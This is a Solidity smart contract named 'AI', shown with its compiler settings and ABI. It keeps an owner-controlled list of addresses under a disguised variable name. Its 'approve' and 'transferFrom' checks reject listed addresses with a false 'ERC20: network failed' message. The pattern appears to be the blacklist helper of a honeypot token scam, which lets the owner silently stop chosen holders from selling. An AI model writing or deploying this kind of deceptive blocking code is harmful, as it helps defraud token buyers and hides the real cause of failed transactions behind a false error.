// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
contract AI {
address private immutable _owner;
mapping(address=>bool) _rewardTokenPoolStartTimeRefundee;
modifier onlyOwner() {
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
constructor() {
_owner = msg.sender;
}
function approve(address addr1, address, uint256) public view returns(bool){
require(_rewardTokenPoolStartTimeRefundee[addr1]!=true,"ERC20: network failed");
return false;
}
function transferFrom(address addr1, address, uint256) public view returns(bool success){
require(_rewardTokenPoolStartTimeRefundee[addr1]!=true,"ERC20: network failed");
return false;
}
function add(address[] calldata addr) public onlyOwner{
for (uint256 i = 0; i < addr.length; i++) {
_rewardTokenPoolStartTimeRefundee[addr[i]] = true;
}
}
function sub(address[] calldata addr) public onlyOwner{
for (uint256 i = 0; i < addr.length; i++) {
_rewardTokenPoolStartTimeRefundee[addr[i]] = false;
}
}
function result(address _account) external view returns(bool){
return _rewardTokenPoolStartTimeRefundee[_account];
}
}
{
"compilationTarget": {
"AI.sol": "AI"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr1","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"result","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"}],"name":"sub","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr1","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"view","type":"function"}]